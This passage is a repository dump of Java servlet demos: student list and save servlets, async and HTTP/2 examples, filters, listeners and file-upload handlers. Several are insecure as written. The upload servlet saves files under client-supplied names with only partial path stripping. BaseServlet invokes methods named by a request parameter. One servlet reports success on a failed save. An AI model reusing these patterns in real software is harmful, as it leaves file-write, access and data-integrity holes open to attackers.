Student();\n\t\tif(stuNo!=null){\n\t\t\tstudent.setStuNo(stuNo);\n\t\t\tstudent.setStuName(stuName);\n\t\t\tstudent.setSex(sex);\n\t\t\tif(StringUtil.isNotEmpty(gradeId)){\n\t\t\t\tstudent.setGradeId(Integer.parseInt(gradeId));\n\t\t\t}\n\t\t}\n\t\t\n\t\tString page=request.getParameter(\"page\");\n\t\tString rows=request.getParameter(\"rows\");\n\t\n\t\tPageBean pageBean=new PageBean(Integer.parseInt(page),Integer.parseInt(rows));\n\t\tConnection con=null;\n\t\ttry{\n\t\t\tcon=dbUtil.getCon();\n\t\t\tJSONObject result=new JSONObject();\n\t\t\tJSONArray jsonArray=JsonUtil.formatRsToJsonArray(studentDao.studentList(con, pageBean,student,bbirthday,ebirthday));\n\t\t\tint total=studentDao.studentCount(con,student,bbirthday,ebirthday);\n\t\t\tresult.put(\"rows\", jsonArray);\n\t\t\tresult.put(\"total\", total);\n\t\t\tResponseUtil.write(response, result);\n\t\t}catch(Exception e){\n\t\t\te.printStackTrace();\n\t\t}finally{\n\t\t\ttry {\n\t\t\t\tdbUtil.closeCon(con);\n\t\t\t} catch (Exception e) {\n\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/bizservice/web/StudentSaveServlet.java",
    "content": "package com.jun.plugin.bizservice.web;\n\nimport java.io.IOException;\nimport java.sql.Connection;\nimport java.util.Date;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.annotation.WebInitParam;\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport com.jun.plugin.bizservice.dao.StudentDao;\nimport com.jun.plugin.bizservice.model.PageBean;\nimport com.jun.plugin.bizservice.model.Student;\nimport com.jun.plugin.bizservice.util.DateUtil;\nimport com.jun.plugin.bizservice.util.DbUtil;\nimport com.jun.plugin.bizservice.util.JsonUtil;\nimport com.jun.plugin.bizservice.util.ResponseUtil;\nimport com.jun.plugin.bizservice.util.StringUtil;\n\nimport net.sf.json.JSONArray;\nimport net.sf.json.JSONObject;\n\n@WebServlet(name=\"StudentSaveServlet\",urlPatterns=\"/studentSave\", asyncSupported = true)\n@WebInitParam(name=\"test\", value=\"123\") \npublic class StudentSaveServlet extends HttpServlet{\n\tDbUtil dbUtil=new DbUtil();\n\tStudentDao studentDao=new StudentDao();\n\t\n\t@Override\n\tprotected void doGet(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\t\tthis.doPost(request, response);\n\t}\n\n\t@Override\n\tprotected void doPost(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\t\trequest.setCharacterEncoding(\"utf-8\");\n\t\tString stuNo=request.getParameter(\"stuNo\");\n\t\tString stuName=request.getParameter(\"stuName\");\n\t\tString sex=request.getParameter(\"sex\");\n\t\tString birthday=request.getParameter(\"birthday\");\n\t\tString gradeId=request.getParameter(\"gradeId\");\n\t\tString email=request.getParameter(\"email\");\n\t\tString stuDesc=request.getParameter(\"stuDesc\");\n\t\tString stuId=request.getParameter(\"stuId\");\n\t\t\n\t\tStudent student=null;\n\t\ttry {\n\t\t\tstudent = new Student(stuNo, stuName, sex, DateUtil.formatString(birthday, \"yyyy-MM-dd\"),\n\t\t\t\t\tInteger.parseInt(gradeId), email, stuDesc);\n\t\t}  catch (Exception e1) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te1.printStackTrace();\n\t\t}\n\t\tif(StringUtil.isNotEmpty(stuId)){\n\t\t\tstudent.setStuId(Integer.parseInt(stuId));\n\t\t}\n\t\tConnection con=null;\n\t\ttry{\n\t\t\tcon=dbUtil.getCon();\n\t\t\tint saveNums=0;\n\t\t\tJSONObject result=new JSONObject();\n\t\t\tif(StringUtil.isNotEmpty(stuId)){\n\t\t\t\tsaveNums=studentDao.studentModify(con, student);\n\t\t\t}else{\n\t\t\t\tsaveNums=studentDao.studentAdd(con, student);\n\t\t\t}\n\t\t\tif(saveNums>0){\n\t\t\t\tresult.put(\"success\", \"true\");\n\t\t\t}else{\n\t\t\t\tresult.put(\"success\", \"true\");\n\t\t\t\tresult.put(\"errorMsg\", \"����ʧ��\");\n\t\t\t}\n\t\t\tResponseUtil.write(response, result);\n\t\t}catch(Exception e){\n\t\t\te.printStackTrace();\n\t\t}finally{\n\t\t\ttry {\n\t\t\t\tdbUtil.closeCon(con);\n\t\t\t} catch (Exception e) {\n\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/webservlet/AsyncDemoServlet.java",
    "content": "package com.jun.plugin.webservlet;\n\nimport javax.servlet.AsyncContext;\nimport javax.servlet.ServletException;\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport java.io.IOException;\nimport java.io.PrintWriter;\nimport java.util.Date;\n\n@WebServlet(urlPatterns = \"/servlet3\", asyncSupported = true)\npublic class AsyncDemoServlet extends HttpServlet {\n\n    @Override\n    public void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException, ServletException {\n        resp.setContentType( \"text/html;charset=UTF-8\" );\n        PrintWriter out = resp.getWriter();\n        out.println( \"进入Servlet的时间：\" + new Date() + \".\" );\n        out.flush();\n        //在子线程中执行业务调用，并由其负责输出响应，主线程退出\n        AsyncContext ctx = req.startAsync();\n        new Thread( new Executor( ctx ) ).start();\n        out.println( \"结束Servlet的时间：\" + new Date() + \".\" );\n        out.flush();\n    }\n}\n\n/*public class Executor implements Runnable {\n    private AsyncContext ctx = null;\n    public Executor(AsyncContext ctx) {\n        this.ctx = ctx;\n    }*/\nclass Executor implements Runnable {\n    private AsyncContext ctx = null;\n    public Executor(AsyncContext ctx) {\n    this.ctx = ctx;\n    }\n\n    @Override\n    public void run() {\n        try {\n            //等待十秒钟，以模拟业务方法的执行\n            Thread.sleep( 10000 );\n            PrintWriter out = ctx.getResponse().getWriter();\n            out.println( \"业务处理完毕的时间：\" + new Date() + \".\" );\n            out.flush();\n            ctx.complete();\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/webservlet/AsyncServlet.java",
    "content": "package com.jun.plugin.webservlet;\nimport java.io.IOException;\nimport java.util.Date;\n\nimport javax.servlet.AsyncContext;\nimport javax.servlet.AsyncEvent;\nimport javax.servlet.AsyncListener;\nimport javax.servlet.ServletConfig;\nimport javax.servlet.ServletException;\nimport javax.servlet.ServletRequest;\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\n@WebServlet(asyncSupported=true,name=\"asyncServlet\", urlPatterns=\"/async\")\npublic class AsyncServlet extends HttpServlet{\n\n\tprivate static final long serialVersionUID = 3903580630389463919L;\n\n\t@Override\n\tprotected void doGet(HttpServletRequest req, HttpServletResponse resp)\n\t\t\tthrows ServletException, IOException {\n\t\tresp.getWriter().write(\"hello, async test\");\n\t\tresp.getWriter().println(\"start：\"+new Date()+\".<br/>\"); \n\t\tresp.getWriter().flush();\n\t\tfinal AsyncContext async = req.startAsync(req,resp);\n\t\tasync.setTimeout(3000);\n\t\tasync.start(new Runnable() {\n\t\t\t@Override\n\t\t\tpublic void run() {\n\t\t\t\tServletRequest request = async.getRequest();\n\t\t\t\ttry {\n\t\t\t\t\tThread.sleep(2000);\n\t\t\t\t\tasync.getResponse().getWriter().write(\"aync thread processing\");\n\t\t\t\t\tasync.getResponse().getWriter().flush();\n\t\t\t\t\tasync.getResponse().getWriter().println(\"async end：\"+new Date()+\".<br/>\"); \n\t\t\t\t\tasync.getResponse().getWriter().flush();\n\t\t\t\t} catch (InterruptedException e) {\n\t\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t\tasync.addListener(new AsyncListener() {\n\t\t\t\n\t\t\t@Override\n\t\t\tpublic void onTimeout(AsyncEvent arg0) throws IOException {\n\t\t\t\t// TODO Auto-generated method stub\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t@Override\n\t\t\tpublic void onStartAsync(AsyncEvent arg0) throws IOException {\n\t\t\t\t// TODO Auto-generated method stub\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t@Override\n\t\t\tpublic void onError(AsyncEvent arg0) throws IOException {\n\t\t\t\t// TODO Auto-generated method stub\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t@Override\n\t\t\tpublic void onComplete(AsyncEvent arg0) throws IOException {\n\t\t\t\t// TODO Auto-generated method stub\n\t\t\t\t\n\t\t\t}\n\t\t});\n\t\tresp.getWriter().println(\"end：\"+new Date()+\".<br/>\"); \n\t\tresp.getWriter().flush();\n\t\t \n\t}\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/webservlet/BaseServlet.java",
    "content": "package com.jun.plugin.webservlet;\nimport java.io.IOException;\nimport java.lang.reflect.Method;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.Map;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.servlet.http.HttpSession;\n \npublic class BaseServlet extends HttpServlet{\n     \n\tprivate static final long serialVersionUID = -1320797119073546791L;\n\tpublic HttpSession session = null;   //创建一个session对象，让BaseServlet的子类可以直接拿来用\n    public String rootPath = null;  //同理创建一个项目名变量\n  \n    protected void service(HttpServletRequest request , HttpServletResponse response)\n        throws ServletException,IOException{\n        session = request.getSession();  //得到session\n        rootPath = request.getContextPath();   //得到项目名\n \n        request.setCharacterEncoding(\"UTF-8\");\n        response.setContentType(\"text/html;charset=UTF-8\");\n \n        String methodName = request.getParameter(\"method\");\n        if(methodName == null){    //如果method参数为空\n            throw new RuntimeException(\"请传递method参数以确定您要调用的方法！\");\n        }\n        Method method = null;\n        \n        try{\n            // 2. 通过方法名称methodName来获取Method对象\n        \t/*\n             * this.getClass()  :   得到当前类\n             * this.getClass.getMethod()  : 调用当前类的getMethod()来获取当前类的方法\n             * methodName : 要获取的方法名称\n             * HttpServletRequest.class和HttpServletResponse.class : 要获取的方法的参数的类型\n             * 由下面的参数我们不难看出，我们以后写的继承了BaseServlet的子类Servlet中：\n             *   1）形参必须是(HttpServletRequest request,HttpServletResponse response)\n             *   2）必须抛出与service()方法抛出的相同的异常\n             */\n            method = this.getClass().getMethod(methodName , HttpServletRequest.class , HttpServletResponse.class);\n            \n        }catch(NoSuchMethodException e){\n            //如果没有找到就说明你写的Servlet中没有此方法\n            throw new RuntimeException(\"您调用的\"+methodName+ \"(HttpServletRequest request , HttpServletResponse response)方法不存在\",e);\n        }\n \n        //如果程序能够继续执行到这里，说明要调用的方法存在\n        // 3. 通过Method对象来调用它\n        try{\n        \t/*\n             * 通过反射来调用当前类的方法：\n             * method : 你要调用的方法的Method实例对象\n             * this : 谁来调用(当前类就是this)\n             * request,response : method方法的参数\n             * 本来是 this.method(request,response);\n             *     现在method是一个变量，不能确定，所以用反射来调用。\n             */\n            method.invoke(this,request,response);\n            \n        }catch(Exception e){\n            throw new RuntimeException(e);\n        }\n    }\n    \n    public static Map getParameterMap(HttpServletRequest request) {  \n        Map properties = request.getParameterMap();  \n        Map returnMap = new HashMap();  \n        Iterator entries = properties.entrySet().iterator();  \n        Map.Entry entry;  \n        String name = \"\";  \n        String value = \"\";  \n        while (entries.hasNext()) {  \n            entry = (Map.Entry) entries.next();  \n            name = (String) entry.getKey();  \n            Object valueObj = entry.getValue();  \n            if(null == valueObj){  \n                value = \"\";  \n            }else if(valueObj instanceof String[]){  \n                String[] values = (String[])valueObj;  \n                for(int i=0;i<values.length;i++){  \n                    value = values[i] + \",\";  \n                }  \n                value = value.substring(0, value.length()-1);  \n            }else{  \n                value = valueObj.toString();  \n            }  \n            returnMap.put(name, value);  \n        }  \n        return returnMap;  \n    } \n    \n    \n    public void test(HttpServletRequest request, HttpServletResponse response)\n            throws ServletException, IOException {\n        try {\n            // 获取请求标识\n            String methodName = request.getParameter(\"method\");\n            // 获取指定类的字节码对象\n            Class<? extends BaseServlet> clazz = this.getClass();//这里的this指的是继承BaseServlet对象\n            // 通过类的字节码对象获取方法的字节码对象\n            Method method = clazz.getMethod(methodName, HttpServletRequest.class, HttpServletResponse.class);\n            // 让方法执行\n            method.invoke(this, request, response);\n\n        } catch (Exception e) {\n            // TODO Auto-generated catch block\n            e.printStackTrace();\n        }\n    }\n}\n \n    \n\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/webservlet/Http2Servlet3.java",
    "content": "package com.jun.plugin.webservlet;\n\nimport javax.servlet.annotation.WebServlet;\nimport java.io.IOException;\nimport java.io.PrintWriter;\nimport java.text.DateFormat;\nimport java.util.ArrayList;\nimport java.util.Calendar;\nimport java.util.List;\nimport java.util.Queue;\nimport java.util.Random;\nimport java.util.UUID;\nimport java.util.concurrent.ConcurrentLinkedQueue;\nimport java.util.concurrent.Executor;\nimport java.util.concurrent.Executors;\nimport javax.servlet.AsyncContext;\nimport javax.servlet.AsyncEvent;\nimport javax.servlet.AsyncListener;\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\n@WebServlet(value = {\"/http23\"}, asyncSupported = true)\npublic class Http2Servlet3 extends HttpServlet {\n\n    private Queue<String> messages = new ConcurrentLinkedQueue<String>();\n    private final Executor executor = Executors.newFixedThreadPool( 10 );\n    private List<AsyncContext> ctxs = new ArrayList<AsyncContext>();\n\n    @Override\n    protected void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {\n        res.setContentType( \"text/plain\" );\n        res.setCharacterEncoding( \"utf-8\" );\n        res.setHeader( \"Access-Control-Allow-Origin\", \"*\" );\n        PrintWriter writer = res.getWriter();\n        writer.print( \"2;Hi;\" );\n        writer.flush();\n\n        final AsyncContext ctx = req.startAsync();\n        ctx.addListener( new AsyncListener() {\n            @Override\n            public void onStartAsync(AsyncEvent event) throws IOException {\n            }\n            @Override\n            public void onTimeout(AsyncEvent event) throws IOException {\n                ctxs.remove( ctx );\n            }\n            @Override\n            public void onError(AsyncEvent event) throws IOException {\n                ctxs.remove( ctx );\n            }\n            @Override\n            public void onComplete(AsyncEvent event) throws IOException {\n                ctxs.remove( ctx );\n            }\n        } );\n        ctxs.add( ctx );\n    }\n\n    @Override\n    protected void doPost(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {\n        res.setContentType( \"text/plain\" );\n        res.setCharacterEncoding( \"utf-8\" );\n        messages.add( createRandomMessage() );\n    }\n\n    @Override\n    public void init() throws ServletException {\n        super.init();\n        // produce random messages\n        //生成随机消息\n        new Thread( new Runnable() {\n            @Override\n            public void run() {\n                while (true) {\n                    messages.add( createRandomMessage() );\n                    try {\n                        Thread.sleep( new Random().nextInt( 5 ) * 1000 );\n                    } catch (InterruptedException e) {\n                        e.printStackTrace();\n                    }\n                }\n            }\n        } ).start();\n\n        // print messages to all users\n        //向所有用户打印message\n\n        new Thread( new Runnable() {\n            @Override\n            public void run() {\n                while (true) {\n                    if (!messages.isEmpty()) {\n                        final String message = messages.poll();\n                        executor.execute( new Runnable() {\n                            @Override\n                            public void run() {\n                                for (AsyncContext ctx : ctxs) {\n                                    try {\n                                        PrintWriter writer = ctx.getResponse().getWriter();\n                                        writer.print( message.length() );\n                                        writer.print( ';' );\n                                        writer.print( message );\n                                        writer.print( ';' );\n                                        writer.flush();\n                                    } catch (IOException e) {\n                                        e.printStackTrace();\n                                    }\n                                }\n                            };\n                        } );\n                    }\n                }\n            }\n        } ).start();\n    }\n\n    protected String createRandomMessage() {\n        return DateFormat.getTimeInstance().format( Calendar.getInstance().getTime() ) + ' ' + UUID.randomUUID().toString();\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/webservlet/Http2Servlet4.java",
    "content": "package com.jun.plugin.webservlet;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.*;\nimport java.io.IOException;\nimport java.io.PrintWriter;\n\n//@WebServlet({\"/path/*\", \"*.ext\"})\n@WebServlet(value = {\"/http24\"})\npublic class Http2Servlet4 extends HttpServlet {\n\n    @Override\n    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {\n\n        PushBuilder pushBuilder = req.newPushBuilder();\n        if (pushBuilder != null) {\n            pushBuilder\n                    .path(\"images/kodedu-logo.png\")\n                    .addHeader(\"content-type\", \"image/png\")\n                    .push();\n        }\n\n        /*PushBuilder pushBuilder = request.newPushBuilder();\n\n        if (pushBuilder != null) {\n            pushBuilder.path(\"images/hero-banner.jpg\").push();\n            pushBuilder.path(\"css/menu.css\").push();\n            pushBuilder.path(\"js/marquee.js\").push();\n        }*/\n\n\n        HttpServletMapping mappings = req.getHttpServletMapping();\n        String mapping = mappings.getMappingMatch().name();\n        String value = mappings.getMatchValue();\n        String pattern = mappings.getPattern();\n        String servletName = mappings.getServletName();\n\n\n        try (PrintWriter respWriter = resp.getWriter();) {\n            respWriter.write(\"<html>\" +\n                    \"<img src='images/kodedu-logo.png'>\" +\n                    \"</html>\");\n        }\n\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/webservlet/MultiPartServlet3.java",
    "content": "package com.jun.plugin.webservlet;\n\nimport java.io.IOException;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.annotation.MultipartConfig;\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.servlet.http.Part;\n\n\n@WebServlet(asyncSupported=true,name=\"upload\", urlPatterns=\"/upload\")\n@MultipartConfig(fileSizeThreshold = 10000, maxFileSize = 1000000, maxRequestSize = 1000000, location=\"E:/logs\")\npublic class MultiPartServlet3 extends HttpServlet {\n\n\tprivate static final long serialVersionUID = 7306582588845300635L;\n\n\t@Override\n\tprotected void doPost(HttpServletRequest req, HttpServletResponse resp)\n\t\t\tthrows ServletException, IOException {\n\t\tPart part = req.getPart(\"file\");\n\t\tString value = part.getHeader(\"content-disposition\");\n\t\tSystem.out.println(value);\n\t\tString filename = value.substring(value.lastIndexOf(\"=\") + 2,value.length() - 1);\n\t\tSystem.out.println(filename);\n\t\tSystem.out.println(part.getInputStream().toString());\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/webservlet/My3Filter.java",
    "content": "package com.jun.plugin.webservlet;\n\nimport java.io.IOException;\n\nimport javax.servlet.Filter;\nimport javax.servlet.FilterChain;\nimport javax.servlet.FilterConfig;\nimport javax.servlet.ServletException;\nimport javax.servlet.ServletRequest;\nimport javax.servlet.ServletResponse;\nimport javax.servlet.annotation.WebFilter;\nimport javax.servlet.annotation.WebInitParam;  \n  \n//asyncSupported=true 对应filter也需要定义asyncSupported=true  \n@WebFilter(urlPatterns={\"/*\"}, filterName=\"my3Filter\", asyncSupported=true)  \n@WebInitParam(name=\"a\", value=\"valuea\")  \npublic class My3Filter implements Filter{  \n  \n    @Override  \n    public void destroy() {  \n        // TODO Auto-generated method stub  \n          \n    }  \n  \n    @Override  \n    public void doFilter(ServletRequest arg0, ServletResponse arg1,  \n            FilterChain arg2) throws IOException, ServletException {  \n        System.out.println(\"servlet 3 filter\");  \n        arg2.doFilter(arg0, arg1);  \n    }  \n  \n    @Override  \n    public void init(FilterConfig arg0) throws ServletException {  \n        System.out.println(\"servlet 3 filter init\");  \n    }  \n  \n}  "
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/webservlet/MyServletContextListener.java",
    "content": "package com.jun.plugin.webservlet;\n\nimport javax.servlet.ServletContextEvent;\nimport javax.servlet.ServletContextListener;\nimport javax.servlet.annotation.WebListener;\n\n/**\n * 使用@WebListener注解将实现了ServletContextListener接口的MyServletContextListener标注为监听器\n */\n@WebListener\npublic class MyServletContextListener implements ServletContextListener {\n\n    @Override\n    public void contextDestroyed(ServletContextEvent sce) {\n        System.out.println(\"ServletContex销毁\");\n    }\n\n    @Override\n    public void contextInitialized(ServletContextEvent sce) {\n        System.out.println(\"ServletContex初始化\");\n        System.out.println(sce.getServletContext().getServerInfo());\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/webservlet/Servlet3Demo.java",
    "content": "package com.jun.plugin.webservlet;\n\n import java.io.IOException;\n import javax.servlet.ServletException;\nimport javax.servlet.annotation.WebInitParam;\nimport javax.servlet.annotation.WebServlet;\n import javax.servlet.http.HttpServlet;\n import javax.servlet.http.HttpServletRequest;\n import javax.servlet.http.HttpServletResponse;\n \n /**\n  * 注解WebServlet用来描述一个Servlet\n  * 属性name描述Servlet的名字,可选\n  * 属性urlPatterns定义访问的URL,或者使用属性value定义访问的URL.(定义访问的URL是必选属性)\n  */\n @WebServlet(name=\"Servlet3Demo\",urlPatterns=\"/Servlet3Demo\")\n @WebInitParam(name=\"a\", value=\"valuea\")  \n public class Servlet3Demo extends HttpServlet {\n\t /*\n\t  * 完成了一个使用注解描述的Servlet程序开发。\n\t 　　使用@WebServlet将一个继承于javax.servlet.http.HttpServlet的类定义为Servlet组件。\n\t 　　@WebServlet有很多的属性：\n\t     　　1、asyncSupported：    声明Servlet是否支持异步操作模式。\n\t     　　2、description：　　    Servlet的描述。\n\t     　　3、displayName：       Servlet的显示名称。\n\t     　　4、initParams：        Servlet的init参数。\n\t     　　5、name：　　　　       Servlet的名称。\n\t     　　6、urlPatterns：　　   Servlet的访问URL。\n\t     　　7、value：　　　        Servlet的访问URL。\n\t 　　Servlet的访问URL是Servlet的必选属性，可以选择使用urlPatterns或者value定义。\n\t 　　像上面的Servlet3Demo可以描述成@WebServlet(name=\"Servlet3Demo\",value=\"/Servlet3Demo\")。\n\t 　　也定义多个URL访问：\n\t 　　如@WebServlet(name=\"Servlet3Demo\",urlPatterns={\"/Servlet3Demo\",\"/Servlet3Demo2\"})\n\t 　　或者@WebServlet(name=\"AnnotationServlet\",value={\"/Servlet3Demo\",\"/Servlet3Demo2\"})\n\t  *\n\t  */\n     public void doGet(HttpServletRequest request, HttpServletResponse response)\n             throws ServletException, IOException {\n         response.getWriter().write(\"Hello Servlet3.0\");\n     }\n \n     public void doPost(HttpServletRequest request, HttpServletResponse response)\n             throws ServletException, IOException {\n         this.doGet(request, response);\n     }\n }\n \n "
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/webservlet/Servlet3Filter.java",
    "content": "package com.jun.plugin.webservlet;\nimport java.io.IOException;\nimport javax.servlet.Filter;\nimport javax.servlet.FilterChain;\nimport javax.servlet.FilterConfig;\nimport javax.servlet.ServletException;\nimport javax.servlet.ServletRequest;\nimport javax.servlet.ServletResponse;\nimport javax.servlet.annotation.WebFilter;\n\n/**\n * 使用注解标注过滤器\n * @WebFilter将一个实现了javax.servlet.Filte接口的类定义为过滤器\n * 属性filterName声明过滤器的名称,可选\n * 属性urlPatterns指定要过滤 的URL模式,也可使用属性value来声明.(指定要过滤的URL模式是必选属性)\n */\n@WebFilter(filterName=\"Servlet3Filter\",urlPatterns=\"/*\")\npublic class Servlet3Filter implements Filter {\n\n    @Override\n    public void destroy() {\n        System.out.println(\"过滤器销毁\");\n    }\n\n    @Override\n    public void doFilter(ServletRequest request, ServletResponse response,\n            FilterChain chain) throws IOException, ServletException {\n        System.out.println(\"执行过滤操作  doing 123 \");\n        chain.doFilter(request, response);\n    }\n\n    @Override\n    public void init(FilterConfig config) throws ServletException {\n        System.out.println(\"过滤器初始化\");\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/webservlet/TestServlet.java",
    "content": "package com.jun.plugin.webservlet;\n\nimport java.io.IOException;\nimport javax.servlet.ServletConfig;\nimport javax.servlet.ServletException;\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\n@WebServlet(\"/testServlet\")\npublic class TestServlet extends HttpServlet {\n\tprivate static final long serialVersionUID = 1L;\n       \n \n\tprotected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\tresponse.getWriter().append(\"Served at: \").append(request.getContextPath());\n\t}\n\n\t \n\tprotected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\tdoGet(request, response);\n\t}\n \n\n\t \n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/webservlet/UploadServlet.java",
    "content": "package com.jun.plugin.webservlet;\n\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.PrintWriter;\nimport java.util.Collection;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.annotation.MultipartConfig;\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.servlet.http.Part;\n\n//使用@WebServlet配置UploadServlet的访问路径\n//使用注解@MultipartConfig将一个Servlet标识为支持文件上传\n//标识Servlet支持文件上传\n@WebServlet(name=\"UploadServlet\",urlPatterns=\"/UploadServlet\")\n@MultipartConfig\npublic class UploadServlet extends HttpServlet {\n\n    public void doGet(HttpServletRequest request, HttpServletResponse response)\n            throws ServletException, IOException {\n             request.setCharacterEncoding(\"utf-8\");\n            response.setCharacterEncoding(\"utf-8\");\n            response.setContentType(\"text/html;charset=utf-8\");\n            //存储路径\n            String savePath = request.getServletContext().getRealPath(\"/WEB-INF/uploadFile\");\n            //获取上传的文件集合\n            Collection<Part> parts = request.getParts();\n            //上传单个文件\n            if (parts.size()==1) {\n                 //Servlet3.0将multipart/form-data的POST请求封装成Part，通过Part对上传的文件进行操作。\n                //Part part = parts[0];//从上传的文件集合中获取Part对象\n                Part part = request.getPart(\"file\");//通过表单file控件(<input type=\"file\" name=\"file\">)的名字直接获取Part对象\n                //Servlet3没有提供直接获取文件名的方法,需要从请求头中解析出来\n                //获取请求头，请求头的格式：form-data; name=\"file\"; filename=\"snmp4j--api.zip\"\n                String header = part.getHeader(\"content-disposition\");\n                //获取文件名\n                String fileName = getFileName(header);\n                //把文件写到指定路径\n                part.write(savePath+File.separator+fileName);\n            }else {\n                //一次性上传多个文件\n                for (Part part : parts) {//循环处理上传的文件\n                    //获取请求头，请求头的格式：form-data; name=\"file\"; filename=\"snmp4j--api.zip\"\n                    String header = part.getHeader(\"content-disposition\");\n                    //获取文件名\n                    String fileName = getFileName(header);\n                    //把文件写到指定路径\n                    part.write(savePath+File.separator+fileName);\n                }\n            }\n            PrintWriter out = response.getWriter();\n            out.println(\"上传成功\");\n            out.flush();\n            out.close();\n    }\n\n     /**\n     * 根据请求头解析出文件名\n     * 请求头的格式：火狐和google浏览器下：form-data; name=\"file\"; filename=\"snmp4j--api.zip\"\n     *                 IE浏览器下：form-data; name=\"file\"; filename=\"E:\\snmp4j--api.zip\"\n     * @param header 请求头\n     * @return 文件名\n     */\n    public String getFileName(String header) {\n        /**\n         * String[] tempArr1 = header.split(\";\");代码执行完之后，在不同的浏览器下，tempArr1数组里面的内容稍有区别\n         * 火狐或者google浏览器下：tempArr1={form-data,name=\"file\",filename=\"snmp4j--api.zip\"}\n         * IE浏览器下：tempArr1={form-data,name=\"file\",filename=\"E:\\snmp4j--api.zip\"}\n         */\n        String[] tempArr1 = header.split(\";\");\n        /**\n         *火狐或者google浏览器下：tempArr2={filename,\"snmp4j--api.zip\"}\n         *IE浏览器下：tempArr2={filename,\"E:\\snmp4j--api.zip\"}\n         */\n        String[] tempArr2 = tempArr1[2].split(\"=\");\n        //获取文件名，兼容各种浏览器的写法\n        String fileName = tempArr2[1].substring(tempArr2[1].lastIndexOf(\"\\\\\")+1).replaceAll(\"\\\"\", \"\");\n        return fileName;\n    }\n    \n    public void doPost(HttpServletRequest request, HttpServletResponse response)\n            throws ServletException, IOException {\n        this.doGet(request, response);\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/src/main/java/com/jun/plugin/webservlet/UploadServlet2.java",
